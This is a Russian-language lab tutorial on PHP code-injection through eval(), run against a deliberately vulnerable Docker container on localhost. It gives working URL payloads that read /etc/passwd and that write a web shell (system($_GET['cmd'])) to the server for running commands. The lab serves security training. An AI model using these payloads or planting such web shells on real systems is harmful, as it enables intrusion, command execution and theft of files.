В этом лабораторном занятии (lab) вы познакомитесь с концепцией уязвимостей, связанных с инъекцией кода (code injection) в веб-приложениях. Инъекция кода — это распространенная уязвимость, которая позволяет злоумышленнику выполнить вредоносный код на сервере, внедрив код в поля ввода пользователя. Цель состоит в том, чтобы понять принципы, лежащие в основе уязвимостей инъекции кода, и научиться эксплуатировать их на практических упражнениях.
Skills Graph
Настройка уязвимого приложения
В этой части нашего курса мы настроим веб-приложение, которое преднамеренно имеет уязвимости, а именно, уязвимость инъекции кода (code injection). Это поможет нам научиться выявлять и устранять такие проблемы. Вот как вы можете запустить это приложение:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 запускает новый контейнер Docker с нашим уязвимым веб-приложением. Флаг -d сообщает Docker запустить контейнер в фоновом режиме. Часть -p 82:80 сопоставляет порт 80 внутри контейнера с портом 82 на вашем компьютере.
/bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' запускает веб-сервер Apache внутри контейнера и затем постоянно отображает журнал ошибок сервера.
docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec изменяет права доступа к директории /var/www/codeexec внутри работающего контейнера, чтобы веб-приложение могло работать корректно.
После выполнения команды и запуска контейнера Docker вы можете взаимодействовать с приложением, открыв веб-браузер и перейдя по адресу http://localhost:82/codeexec/example1.php?name=hacker. Это приведет вас к нашему преднамеренно уязвимому веб-приложению. Приятного обучения!
Понимание уязвимости инъекции кода
В предыдущем шаге мы настроили веб-приложение, которое имеет встроенную уязвимость инъекции кода (code injection). Давайте взглянем более детально на код на PHP, который делает это возможным:
Здесь функция eval() в PHP используется для выполнения строки как кода на PHP. Проблема возникает, когда значение, введенное пользователем в параметр name в URL, напрямую добавляется в строку, которую выполняет eval(). Поскольку не проводится проверка на допустимые входные данные, это создает возможность для атак по инъекции кода.
Теперь давайте посмотрим, как эта уязвимость проявляется на практике. Мы можем внедрить собственный код на PHP, выйдя из существующей строки и добавив свой код. Попробуйте перейти по этому URL:
Вероятно, вы увидите сообщение об ошибке. Это происходит потому, что внедренный нами код вызвал синтаксическую ошибку - мы оставили несбалансированными некоторые двойные кавычки. Но не беспокойтесь, мы можем исправить это, используя синтаксис комментариев в PHP, чтобы завершить существующую строку.
На этот раз функция phpinfo() должна успешно выполниться, отобразив информацию о конфигурации PHP сервера. Это показывает, что мы успешно эксплуатировали уязвимость инъекции кода. Как вы видите, даже небольшие недочеты в коде могут привести к серьезным рискам безопасности!
Эксплуатация инъекции кода для внедрения файлов
В этом шаге мы рассмотрим распространенную технику эксплуатации уязвимостей инъекции кода (code injection): внедрение удаленных файлов на сервере. Для этого мы будем использовать функцию file_get_contents() в PHP.
Вот полезная нагрузка (payload), которую вы можете попробовать, чтобы прочитать файл /etc/passwd на сервере:
http://localhost:82/codeexec/example1.php?name=hacker - это URL нашего уязвимого приложения, как мы видели ранее.
%22;var_dump(file_get_contents(%20%27/etc/passwd%27)); - это ключевая часть нашей полезной нагрузки. Она использует функцию file_get_contents() для чтения содержимого файла /etc/passwd, а затем var_dump() для отображения этого содержимого.
// - это просто способ закомментировать остаток кода, чтобы он не мешал нашей полезной нагрузке.
Файл /etc/passwd содержит информацию о пользовательских учетных записях в системе. Это может быть очень ценной информацией при дальнейшей эксплуатации системы. Таким образом, используя эту полезную нагрузку, мы потенциально можем получить много полезной информации. Попробуйте и посмотрите, что вы можете узнать!
Запись файлов на сервере
В этой заключительной части нашего лабораторного занятия мы рассмотрим другую распространенную технику эксплойта: запись файлов на сервер. Это можно сделать с помощью функции file_put_contents() в PHP. Эта техника особенно полезна для загрузки веб-шеллов (web shells) или другого вредоносного кода на сервер.
Вот полезная нагрузка (payload), которую вы можете попробовать, чтобы создать простой веб-шелл с именем shell.php:
http://localhost:82/codeexec/example1.php?name=hacker - это URL нашего уязвимого приложения, как и ранее.
%22;var_dump(file_put_contents($_GET[1],$_GET[2])); использует функцию file_put_contents() для создания файла с именем, заданным в $_GET[1], и содержимым, заданным в $_GET[2]. Затем она использует var_dump() для отображения результата этой операции.
//&1=shell.php&2=<?php system($_GET['cmd'])?> предоставляет аргументы для функции file_put_contents(). shell.php - это имя файла, который мы создаем, а <?php system($_GET['cmd'])?> - это содержимое файла. Этот код на PHP выполнит любую команду, переданную через параметр cmd в строке запроса.
После выполнения этой полезной нагрузки вы должны иметь возможность получить доступ к файлу shell.php и выполнять системные команды на сервере. Например, вы можете попробовать перейти по следующему URL:
http://localhost:82/codeexec/shell.php?cmd=uname -a
Результат будет выглядеть следующим образом:
Это выполнит команду uname -a на сервере и отобразит вывод, предоставив вам основную информацию об операционной системе сервера. Попробуйте и посмотрите, что вы можете узнать!
Резюме
В этом лабораторном занятии вы узнали о уязвимостях инъекции кода (code injection) и о том, как эксплуатировать их с использованием различных методов. Вы настроили уязвимое веб-приложение, поняли суть уязвимости и эксплуатировали ее, внедряя код на PHP для выполнения системных команд, чтения конфиденциальных файлов и записи файлов на сервере. Этот практический опыт поможет вам лучше понять риски, связанные с уязвимостями инъекции кода, и научиться их устранять в веб-приложениях.